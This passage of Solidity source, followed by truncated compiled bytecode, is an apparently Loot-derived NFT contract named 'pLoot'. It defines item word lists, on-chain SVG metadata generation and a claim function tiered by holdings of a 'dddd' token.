{IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } contract pLoot is ERC721Enumerable, ReentrancyGuard, Ownable { //ddddToken address address ddddToken = address(0x52Ee54dd7a68e9cf131b0a57fd6015C74d7140E2); // claim times mapping(address => uint256) public _claimTimes; //global token id uint256 _globalTokenId = 16001; receive() external payable { claim(); } string[] private weapons = [ "Warhammer", "Quarterstaff", "Maul", "Mace", "Club", "Katana", "Falchion", "Scimitar", "Long Sword", "Short Sword", "Ghost Wand", "Grave Wand", "Bone Wand", "Wand", "Grimoire", "Chronicle", "Tome", "Book" ]; string[] private chestArmor = [ "Divine Robe", "Silk Robe", "Linen Robe", "Robe", "Shirt", "Demon Husk", "Dragonskin Armor", "Studded Leather Armor", "Hard Leather Armor", "Leather Armor", "Holy Chestplate", "Ornate Chestplate", "Plate Mail", "Chain Mail", "Ring Mail" ]; string[] private headArmor = [ "Ancient Helm", "Ornate Helm", "Great Helm", "Full Helm", "Helm", "Demon Crown", "Dragon's Crown", "War Cap", "Leather Cap", "Cap", "Crown", "Divine Hood", "Silk Hood", "Linen Hood", "Hood" ]; string[] private waistArmor = [ "Ornate Belt", "War Belt", "Plated Belt", "Mesh Belt", "Heavy Belt", "Demonhide Belt", "Dragonskin Belt", "Studded Leather Belt", "Hard Leather Belt", "Leather Belt", "Brightsilk Sash", "Silk Sash", "Wool Sash", "Linen Sash", "Sash" ]; string[] private footArmor = [ "Holy Greaves", "Ornate Greaves", "Greaves", "Chain Boots", "Heavy Boots", "Demonhide Boots", "Dragonskin Boots", "Studded Leather Boots", "Hard Leather Boots", "Leather Boots", "Divine Slippers", "Silk Slippers", "Wool Shoes", "Linen Shoes", "Shoes" ]; string[] private handArmor = [ "Holy Gauntlets", "Ornate Gauntlets", "Gauntlets", "Chain Gloves", "Heavy Gloves", "Demon's Hands", "Dragonskin Gloves", "Studded Leather Gloves", "Hard Leather Gloves", "Leather Gloves", "Divine Gloves", "Silk Gloves", "Wool Gloves", "Linen Gloves", "Gloves" ]; string[] private necklaces = [ "Necklace", "Amulet", "Pendant" ]; string[] private rings = [ "Gold Ring", "Silver Ring", "Bronze Ring", "Platinum Ring", "Titanium Ring" ]; string[] private suffixes = [ "of Power", "of Giants", "of Titans", "of Skill", "of Perfection", "of Brilliance", "of Enlightenment", "of Protection", "of Anger", "of Rage", "of Fury", "of Vitriol", "of the Fox", "of Detection", "of Reflection", "of the Twins" ]; string[] private namePrefixes = [ "Agony", "Apocalypse", "Armageddon", "Beast", "Behemoth", "Blight", "Blood", "Bramble", "Brimstone", "Brood", "Carrion", "Cataclysm", "Chimeric", "Corpse", "Corruption", "Damnation", "Death", "Demon", "Dire", "Dragon", "Dread", "Doom", "Dusk", "Eagle", "Empyrean", "Fate", "Foe", "Gale", "Ghoul", "Gloom", "Glyph", "Golem", "Grim", "Hate", "Havoc", "Honour", "Horror", "Hypnotic", "Kraken", "Loath", "Maelstrom", "Mind", "Miracle", "Morbid", "Oblivion", "Onslaught", "Pain", "Pandemonium", "Phoenix", "Plague", "Rage", "Rapture", "Rune", "Skull", "Sol", "Soul", "Sorrow", "Spirit", "Storm", "Tempest", "Torment", "Vengeance", "Victory", "Viper", "Vortex", "Woe", "Wrath", "Light's", "Shimmering" ]; string[] private nameSuffixes = [ "Bane", "Root", "Bite", "Song", "Roar", "Grasp", "Instrument", "Glow", "Bender", "Shadow", "Whisper", "Shout", "Growl", "Tear", "Peak", "Form", "Sun", "Moon" ]; function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function getWeapon(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "WEAPON", weapons); } function getChest(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "CHEST", chestArmor); } function getHead(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "HEAD", headArmor); } function getWaist(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "WAIST", waistArmor); } function getFoot(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "FOOT", footArmor); } function getHand(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "HAND", handArmor); } function getNeck(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "NECK", necklaces); } function getRing(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "RING", rings); } function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) { uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId)))); string memory output = sourceArray[rand % sourceArray.length]; uint256 greatness = rand % 21; if (greatness > 14) { output = string(abi.encodePacked(output, " ", suffixes[rand % suffixes.length])); } if (greatness >= 19) { string[2] memory name; name[0] = namePrefixes[rand % namePrefixes.length]; name[1] = nameSuffixes[rand % nameSuffixes.length]; if (greatness == 19) { output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output)); } else { output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1")); } } return output; } function tokenURI(uint256 tokenId) override public view returns (string memory) { string[17] memory parts; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">'; parts[1] = getWeapon(tokenId); parts[2] = '</text><text x="10" y="40" class="base">'; parts[3] = getChest(tokenId); parts[4] = '</text><text x="10" y="60" class="base">'; parts[5] = getHead(tokenId); parts[6] = '</text><text x="10" y="80" class="base">'; parts[7] = getWaist(tokenId); parts[8] = '</text><text x="10" y="100" class="base">'; parts[9] = getFoot(tokenId); parts[10] = '</text><text x="10" y="120" class="base">'; parts[11] = getHand(tokenId); parts[12] = '</text><text x="10" y="140" class="base">'; parts[13] = getNeck(tokenId); parts[14] = '</text><text x="10" y="160" class="base">'; parts[15] = getRing(tokenId); parts[16] = '</text></svg>'; string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Bag #', toString(tokenId), '", "description": "There was one maverick punk girl, in order to show the world what real Punk was, she sacrificed herself to the God. Her body was gone, but her fiery spirit remained and became the Goddess of Punk. 173 trailblazers were inspired by her deed and swore to be her first apostles. They called themselves the People\'s Punks and devoted their lives proselytizing. The Word called on them from all over the world to assemble in the Punk Valley. They established the Punk Camp, and, with the Spirit of the Goddess of Punk, forged invaluable weapons, armors, and other items, to which the name the pLoot was given.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } function claim() public nonReentrant { require(_globalTokenId < 24001, "Token ID invalid"); uint256 times = _claimTimes[msg.sender]; uint256 ddddAmount = IERC721(ddddToken).balanceOf(msg.sender); require (times < 1 || (ddddAmount >= 4000000e18 && times < 5) || (ddddAmount < 4000000e18 && ddddAmount >= 400000e18 && times < 3) || (ddddAmount < 400000e18 && ddddAmount >= 40000e18 && times < 2 ) , "invalid claim times"); _safeMint(_msgSender(), _globalTokenId); _globalTokenId++; _claimTimes[msg.sender] = ++times; } // function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner { // require(tokenId > 7777 && tokenId < 8001, "Token ID invalid"); // _safeMint(owner(), tokenId); // } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } constructor() ERC721("pLOOT", "pLOOT") Ownable() {} } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <brecht@loopring.org> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
0x6080604052600436106101c65760003560e01c8063715018a6116100f7578063b88d4fde11610095578063e985e9c511610064578063e985e9c514610505578063ef68075a1461054e578063f2fde38b1461056e578063f7e77bc21461058e57600080fd5b8063b88d4fde14610485578063c08a5dd5146104a5578063c87b56dd146104c5578063d47f269e146104e557600080fd5b80639720c969116100d15780639720c969146104055780639bdc1b69146104255780639e41b73f14610445578063a22cb4651461046557600080fd5b8063715018a6146103bd5780638da5cb5b146103d257806395d89b41146103f057600080fd5b80632f745c59116101645780634f6ccce71161013e5780634f6ccce71461033d5780636352211e1461035d57806367209aa81461037d57806370a082311461039d57600080fd5b80632f745c59146102e857806342842e0e146103085780634e71d92d1461032857600080fd5b8063095ea7b3116101a0578063095ea7b3146102695780630e99990d1461028957806318160ddd146102a957806323b872dd146102c857600080fd5b806301ffc9a7146101da57806306fdde031461020f578063081812fc1461023157600080fd5b366101d5576101d36105bb565b005b600080fd5b3480156101e657600080fd5b506101fa6101f53660046129d0565b610804565b60405190151581526020015b60405180910390f35b34801561021b57600080fd5b5061022461082f565b604051610206919061313a565b34801561023d57600080fd5b5061025161024c366004612a0a565b6108c1565b6040516001600160a01b039091168152602001610206565b34801561027557600080fd5b506101d36102843660046129a6565b610956565b34801561029557600080fd5b506102246102a4366004612a0a565b610a6c565b3480156102b557600080fd5b506008545b604051908152602001610206565b3480156102d457600080fd5b506101d36102e3366004612852565b610b66565b3480156102f457600080fd5b506102ba6103033660046129a6565b610b97565b34801561031457600080fd5b506101d3610323366004612852565b610c2d565b34801561033457600080fd5b506101d36105bb565b34801561034957600080fd5b506102ba610358366004612a0a565b610c48565b34801561036957600080fd5b50610251610378366004612a0a565b610cdb565b34801561038957600080fd5b50610224610398366004612a0a565b610d52565b3480156103a957600080fd5b506102ba6103b83660046127fd565b610e43565b3480156103c957600080fd5b506101d3610eca565b3480156103de57600080fd5b50600b546001600160a01b0316610251565b3480156103fc57600080fd5b50610224610f30565b34801561041157600080fd5b50610224610420366004612a0a565b610f3f565b34801561043157600080fd5b50610224610440366004612a0a565b611030565b34801561045157600080fd5b50610224610460366004612a0a565b611122565b34801561047157600080fd5b506101d361048036600461296a565b611215565b34801561049157600080fd5b506101d36104a036600461288e565b6112da565b3480156104b157600080fd5b506102246104c0366004612a0a565b611312565b3480156104d157600080fd5b506102246104e0366004612a0a565b611403565b3480156104f157600080fd5b50610224610500366004612a0a565b6116ab565b34801561051157600080fd5b506101fa61052036600461281f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561055a57600080fd5b50610224610569366004612a0a565b61179c565b34801561057a57600080fd5b506101d36105893660046127fd565b61188e565b34801561059a57600080fd5b506102ba6105a93660046127fd565b600d6020526000908152604090205481565b6002600a5414156106135760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064015b60405180910390fd5b6002600a55600e54615dc11161065e5760405162461bcd60e51b815260206004820152601060248201526f151bdad95b881251081a5b9d985b1a5960821b604482015260640161060a565b336000818152600d602052604080822054600c5491516370a0823160e01b81526004810194909452926001600160a01b03909116906370a082319060240160206040518083038186803b1580156106b457600080fd5b505afa1580156106c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ec9190612a23565b9050600182108061071357506a034f086f3b33b68400000081101580156107135750600582105b8061074957506a034f086f3b33b6840000008110801561073d57506954b40b1f852bda0000008110155b80156107495750600382105b8061077e57506954b40b1f852bda000000811080156107725750690878678326eac90000008110155b801561077e5750600282105b6107c05760405162461bcd60e51b8152602060048201526013602482015272696e76616c696420636c61696d2074696d657360681b604482015260640161060a565b6107cc33600e54611959565b600e80549060006107dc836132b9565b9190505550816107eb906132b9565b336000908152600d602052604090205550506001600a55565b60006001600160e01b0319821663780e9d6360e01b1480610829575061082982611977565b92915050565b60606000805461083e9061327e565b80601f016020809104026020016040519081016040528092919081815260200182805461086a9061327e565b80156108b75780601f1061088c576101008083540402835291602001916108b7565b820191906000526020600020905b81548152906001019060200180831161089a57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661093a5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161060a565b506000908152600460205260409020546001600160a01b031690565b600061096182610cdb565b9050806001600160a01b0316836001600160a01b031614156109cf5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161060a565b336001600160a01b03821614806109eb57506109eb8133610520565b610a5d5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161060a565b610a6783836119c7565b505050565b606061082982604051806040016040528060048152602001631193d3d560e21b8152506013805480602002602001604051908101604052809291908181526020016000905b82821015610b5d578382906000526020600020018054610ad09061327e565b80601f0160208091040260200160405190810160405280929190818152602001828054610afc9061327e565b8015610b495780601f10610b1e57610100808354040283529160200191610b49565b820191906000526020600020905b815481529060010190602001808311610b2c57829003601f168201915b505050505081526020019060010190610ab1565b50505050611a35565b610b703382611d0e565b610b8c5760405162461bcd60e51b815260040161060a9061319f565b610a67838383611e05565b6000610ba283610e43565b8210610c045760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b606482015260840161060a565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b610a67838383604051806020016040528060008152506112da565b6000610c5360085490565b8210610cb65760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b606482015260840161060a565b60088281548110610cc957610cc961332a565b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b0316806108295760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161060a565b606061082982604051806040016040528060048152602001634e45434b60e01b8152506015805480602002602001604051908101604052809291908181526020016000905b82821015610b5d578382906000526020600020018054610db69061327e565b80601f0160208091040260200160405190810160405280929190818152602001828054610de29061327e565b8015610e2f5780601f10610e0457610100808354040283529160200191610e2f565b820191906000526020600020905b815481529060010190602001808311610e1257829003601f168201915b505050505081526020019060010190610d97565b60006001600160a01b038216610eae5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161060a565b506001600160a01b031660009081526003602052604090205490565b600b546001600160a01b03163314610f245760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161060a565b610f2e6000611fb0565b565b60606001805461083e9061327e565b606061082982604051806040016040528060048152602001631211505160e21b8152506011805480602002602001604051908101604052809291908181526020016000905b82821015610b5d578382906000526020600020018054610fa39061327e565b80601f0160208091040260200160405190810160405280929190818152602001828054610fcf9061327e565b801561101c5780601f10610ff15761010080835404028352916020019161101c565b820191906000526020600020905b815481529060010190602001808311610fff57829003601f168201915b505050505081526020019060010190610f84565b6060610829826040518060400160405280600581526020016415d05254d560da1b8152506012805480602002602001604051908101604052809291908181526020016000905b82821015610b5d5783829060005260206000200180546110959061327e565b80601f01602080910402602001604051908101604052809291908181526020018280546110c19061327e565b801561110e5780601f106110e35761010080835404028352916020019161110e565b820191906000526020600020905b8154815290600101906020018083116110f157829003601f168201915b505050505081526020019060010190611076565b606061082982604051806040016040528060068152602001652ba2a0a827a760d11b815250600f805480602002602001604051908101604052809291908181526020016000905b82821015610b5d5783829060005260206000200180546111889061327e565b80601f01602080910402602001604051908101604052809291908181526020018280546111b49061327e565b80156112015780601f106111d657610100808354040283529160200191611201565b820191906000526020600020905b8154815290600101906020018083116111e457829003601f168201915b505050505081526020019060010190611169565b6001600160a01b03821633141561126e5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161060a565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6112e43383611d0e565b6113005760405162461bcd60e51b815260040161060a9061319f565b61130c84848484612002565b50505050565b6060610829826040518060400160405280600481526020016352494e4760e01b8152506016805480602002602001604051908101604052809291908181526020016000905b82821015610b5d5783829060005260206000200180546113769061327e565b80601f01602080910402602001604051908101604052809291908181526020018280546113a29061327e565b80156113ef5780601f106113c4576101008083540402835291602001916113ef565b820191906000526020600020905b8154815290600101906020018083116113d257829003601f168201915b505050505081526020019060010190611357565b606061140d6127a0565b60405180610120016040528060fd815260200161343860fd9139815261143283611122565b816001602002018190525060405180606001604052806028815260200161359e6028913960408201526114648361179c565b606080830191909152604080519182019052602880825261336d6020830139608082015261149183610f3f565b60a0820152604080516060810190915260288082526133e7602083013960c08201526114bc83611030565b60e08201526040805160608101909152602980825261340f60208301396101008201526114e883610a6c565b610120820152604080516060810190915260298082526133be6020830139610140820152611515836116ab565b61016082015260408051606081019091526029808252613535602083013961018082015261154283610d52565b6101a08201526040805160608101909152602980825261339560208301396101c082015261156f83611312565b6101e0820152604080518082018252600d81526c1e17ba32bc3a1f1e17b9bb339f60991b602080830191909152610200840191909152825181840151838501516060860151608087015160a088015160c089015160e08a01516101008b0151995160009a6115df9a909101612acf565b60408051808303601f19018152908290526101208401516101408501516101608601516101808701516101a08801516101c08901516101e08a01516102008b0151979950611632988a9890602001612acf565b6040516020818303038152906040529050600061167f61165186612035565b61165a84612133565b60405160200161166b929190612d3d565b604051602081830303815290604052612133565b90508060405160200161169291906130b8565b60408051601f1981840301815291905295945050505050565b606061082982604051806040016040528060048152602001631210539160e21b8152506014805480602002602001604051908101604052809291908181526020016000905b82821015610b5d57838290600052602060002001805461170f9061327e565b80601f016020809104026020016040519081016040528092919081815260200182805461173b9061327e565b80156117885780601f1061175d57610100808354040283529160200191611788565b820191906000526020600020905b81548152906001019060200180831161176b57829003601f168201915b5050505050815260200190600101906116f0565b6060610829826040518060400160405280600581526020016410d21154d560da1b8152506010805480602002602001604051908101604052809291908181526020016000905b82821015610b5d5783829060005260206000200180546118019061327e565b80601f016020809104026020016040519081016040528092919081815260200182805461182d9061327e565b801561187a5780601f1061184f5761010080835404028352916020019161187a565b820191906000526020600020905b81548152906001019060200180831161185d57829003601f168201915b5050505050815260200190600101906117e2565b600b546001600160a01b031633146118e85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161060a565b6001600160a01b03811661194d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161060a565b61195681611fb0565b50565b611973828260405180602001604052806000815250612299565b5050565b60006001600160e01b031982166380ac58cd60e01b14806119a857506001600160e01b03198216635b5e139f60e01b145b8061082957506301ffc9a760e01b6001600160e01b0319831614610829565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906119fc82610cdb565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60606000611a6b84611a4687612035565b604051602001611a57929190612aa0565b6040516020818303038152906040526122cc565b9050600083845183611a7d91906132d4565b81518110611a8d57611a8d61332a565b602002602001015190506000601583611aa691906132d4565b9050600e811115611aff5760178054839190611ac290866132d4565b81548110611ad257611ad261332a565b90600052602060002001604051602001611aed929190612b91565b60405160208183030381529060405291505b60138110611d0457611b0f6127c8565b60188054611b1d90866132d4565b81548110611b2d57611b2d61332a565b906000526020600020018054611b429061327e565b80601f0160208091040260200160405190810160405280929190818152602001828054611b6e9061327e565b8015611bbb5780601f10611b9057610100808354040283529160200191611bbb565b820191906000526020600020905b815481529060010190602001808311611b9e57829003601f168201915b505050505081600060028110611bd357611bd361332a565b602002015260198054611be690866132d4565b81548110611bf657611bf661332a565b906000526020600020018054611c0b9061327e565b80601f0160208091040260200160405190810160405280929190818152602001828054611c379061327e565b8015611c845780601f10611c5957610100808354040283529160200191611c84565b820191906000526020600020905b815481529060010190602001808311611c6757829003601f168201915b505050505081600160028110611c9c57611c9c61332a565b60200201526013821415611cd8578051602080830151604051611cc29392879101612c51565b6040516020818303038152906040529250611d02565b8051602080830151604051611cf09392879101612cbf565b60405160208183030381529060405292505b505b5095945050505050565b6000818152600260205260408120546001600160a01b0316611d875760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161060a565b6000611d9283610cdb565b9050806001600160a01b0316846001600160a01b03161480611dcd5750836001600160a01b0316611dc2846108c1565b6001600160a01b0316145b80611dfd57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611e1882610cdb565b6001600160a01b031614611e805760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161060a565b6001600160a01b038216611ee25760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161060a565b611eed8383836122fd565b611ef86000826119c7565b6001600160a01b0383166000908152600360205260408120805460019290611f2190849061323b565b90915550506001600160a01b0382166000908152600360205260408120805460019290611f4f9084906131f0565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600b80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61200d848484611e05565b612019848484846123b5565b61130c5760405162461bcd60e51b815260040161060a9061314d565b6060816120595750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612083578061206d816132b9565b915061207c9050600a83613208565b915061205d565b60008167ffffffffffffffff81111561209e5761209e613340565b6040519080825280601f01601f1916602001820160405280156120c8576020820181803683370190505b5090505b8415611dfd576120dd60018361323b565b91506120ea600a866132d4565b6120f59060306131f0565b60f81b81838151811061210a5761210a61332a565b60200101906001600160f81b031916908160001a90535061212c600a86613208565b94506120cc565b805160609080612153575050604080516020810190915260008152919050565b600060036121628360026131f0565b61216c9190613208565b61217790600461321c565b905060006121868260206131f0565b67ffffffffffffffff81111561219e5761219e613340565b6040519080825280601f01601f1916602001820160405280156121c8576020820181803683370190505b509050600060405180606001604052806040815260200161355e604091399050600181016020830160005b86811015612254576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b8352600490920191016121f3565b50600386066001811461226e576002811461227f5761228b565b613d3d60f01b60011983015261228b565b603d60f81b6000198301525b505050918152949350505050565b6122a383836124c2565b6122b060008484846123b5565b610a675760405162461bcd60e51b815260040161060a9061314d565b6000816040516020016122df9190612a84565b60408051601f19818403018152919052805160209091012092915050565b6001600160a01b0383166123585761235381600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61237b565b816001600160a01b0316836001600160a01b03161461237b5761237b8382612610565b6001600160a01b03821661239257610a67816126ad565b826001600160a01b0316826001600160a01b031614610a6757610a67828261275c565b60006001600160a01b0384163b156124b757604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906123f99033908990889088906004016130fd565b602060405180830381600087803b15801561241357600080fd5b505af1925050508015612443575060408051601f3d908101601f19168201909252612440918101906129ed565b60015b61249d573d808015612471576040519150601f19603f3d011682016040523d82523d6000602084013e612476565b606091505b5080516124955760405162461bcd60e51b815260040161060a9061314d565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611dfd565b506001949350505050565b6001600160a01b0382166125185760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161060a565b6000818152600260205260409020546001600160a01b03161561257d5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161060a565b612589600083836122fd565b6001600160a01b03821660009081526003602052604081208054600192906125b29084906131f0565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000600161261d84610e43565b612627919061323b565b60008381526007602052604090205490915080821461267a576001600160a0